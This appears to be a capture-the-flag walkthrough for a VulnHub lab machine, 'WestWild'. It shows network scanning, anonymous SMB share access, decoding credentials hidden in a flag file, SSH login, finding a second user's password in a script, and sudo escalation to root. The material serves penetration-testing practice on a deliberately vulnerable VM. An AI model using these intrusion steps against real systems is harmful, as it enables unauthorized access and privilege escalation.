Westwild

Thursday, 29 August 2019 10:21 PM

URL: https://www.vulnhub.com/entry/westwild-11,338/

Netdiscover

```
Currently scanning: Finished!   |   Screen View: Unique Hosts

6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 360
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.2.1        52:54:00:12:35:00      1      60  Unknown vendor
10.0.2.2        52:54:00:12:35:00      1      60  Unknown vendor
10.0.2.3        08:00:27:f1:fc:d0      1      60  PCS Systemtechnik GmbH
10.0.2.53       08:00:27:f6:8c:99      3     180  PCS Systemtechnik GmbH

root@kali:~#
```

Nmap scan

```
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 6f:ee:95:91:9c:62:b2:14:cd:63:0a:3e:f8:10:9e:da (DSA)
|   2048 10:45:94:fe:a7:2f:02:8a:9b:21:1a:31:c5:03:30:48 (RSA)
|   256 97:94:17:86:18:e2:8e:7a:73:8e:41:20:76:ba:51:73 (ECDSA)
|_  256 23:81:c7:76:bb:37:78:ee:3b:73:e2:55:ad:81:32:72 (ED25519)
80/tcp  open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:F6:8C:99 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: WESTWILD; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -59m52s, deviation: 1h43m54s, median: 6s
|_nbstat: NetBIOS name: WESTWILD, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: westwild
|   NetBIOS computer name: WESTWILD\x00
|   Domain name: \x00
|   FQDN: westwild
|_  System time: 2019-08-29T17:23:52+03:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-08-29 10:23:52
|_  start_date: N/A
```

Browsing http

Dirb scan

```
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Aug 29 10:23:40 2019
URL_BASE: http://westwild.local/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://westwild.local/ ----
+ http://westwild.local/index.html (CODE:200|SIZE:263)

+ http://westwild.local/server-status (CODE:403|SIZE:294)
```

Smbmap on samba shares

```
root@kali:~# smbmap -H westwild.local
[+] Finding open SMB ports....
[+] Guest SMB session established on westwild.local...
[+] IP: westwild.local:445      Name: westwild.local
        Disk                                                    Permissions
        ----                                                    -----------
        print$                                                  NO ACCESS
        wave                                                    READ ONLY
        IPC$                                                    NO ACCESS
```

Authenticate as guest with no pass

```
root@kali:~# smbclient //westwild.local/wave -U guest -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Jul 30 01:18:56 2019
  ..                                  D        0  Thu Aug  1 19:02:20 2019
  FLAG1.txt                           N       93  Mon Jul 29 22:31:05 2019
  message_from_aveng.txt              N      115  Tue Jul 30 01:21:48 2019

                1781464 blocks of size 1024. 284108 blocks available
```

Chain get *.txt

```
smb: \> mget *.txt
Get file FLAG1.txt? yes
getting file \FLAG1.txt of size 93 as FLAG1.txt (30.3 KiloBytes/sec) (average 30.3 KiloBytes/sec)
Get file message_from_aveng.txt? yes
getting file \message_from_aveng.txt of size 115 as message_from_aveng.txt (37.4 KiloBytes/sec) (average
 33.9 KiloBytes/sec)
```

Read *.txt

```
root@kali:~/west# cat FLAG1.txt
RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjp3YXZleApwYXNzd29yZDpkb29y
K29wZW4K
```

```
root@kali:~/west# cat message_from_aveng.txt
Dear Wave ,
Am Sorry but i was lost my password ,
and i believe that you can reset  it for me .
Thank You
Aveng
```

Base64 decode

```
root@kali:~/west# echo RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjp
XZleApwYXNzd29yZDpkb29yK29wZW4K| base64 -d
Flag1{Welcome_T0_THE-W3ST-W1LD-B0rder}
user:wavex
password:door+open
```

Trying the creds

```
root@kali:~# ssh wavex@westwild.local
The authenticity of host 'westwild.local (10.0.2.53)' can't be established.
ECDSA key fingerprint is SHA256:Yb4sSLRYvPCqt60Wrfuai7qzsWq4x8zSa/rRDSpke7g.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'westwild.local,10.0.2.53' (ECDSA) to the list of known hosts.
wavex@westwild.local's password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Thu Aug 29 17:19:25 +03 2019

  System load: 0.0               Memory usage: 2%   Processes:       73
  Usage of /:  77.9% of 1.70GB   Swap usage:   0%   Users logged in: 0

  => There are 2 zombie processes.

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Fri Aug  2 02:00:40 2019
wavex@WestWild:~$
```

Enumerating files owned by user

```
wavex@WestWild:/$ find / -user wavex 2> /dev/null
/sys/fs/cgroup/systemd/user/1001.user/1.session
/sys/fs/cgroup/systemd/user/1001.user/1.session/tasks
/sys/fs/cgroup/systemd/user/1001.user/1.session/cgroup.procs
/usr/share/av/westsidesecret/ififoregt.sh
```

Ififoregt.sh

```
#!/bin/bash
figlet "if i foregt so this my way"
echo "user:aveng"
echo "password:kaizen+80"
```

Trying creds, aveng is able to run all commands as root

```
wavex@WestWild:/var/www/html$ su aveng
Password:
aveng@WestWild:/var/www/html$ sudo -l
[sudo] password for aveng:
Matching Defaults entries for aveng on WestWild:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aveng may run the following commands on WestWild:
    (ALL : ALL) ALL
aveng@WestWild:/var/www/html$ sudo su
root@WestWild:/var/www/html#
```

Root flag

```
root@WestWild:/var/www/html# cd /root
root@WestWild:~# ls -lah
total 36K
drwx------  3 root root 4.0K Aug  2 01:45 .
drwxr-xr-x 21 root root 4.0K Jul 30 02:34 ..
-rw-r--r--  1 root root 3.1K Feb 20  2014 .bashrc
drwx------  2 root root 4.0K Jul 31 19:00 .cache
-rw-r--r--  1 root root  122 Jul 31 19:29 FLAG2.txt
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-r--r--  1 root root   75 Jul 31 19:06 .selected_editor
-rw-------  1 root root 4.9K Jul 31 19:29 .viminfo
root@WestWild:~# cat FLAG2.txt
Flag2{Weeeeeeeeeeeellco0o0om_T0_WestWild}

Great! take a screenshot and Share it with me in twitter @HashimAlshareff
```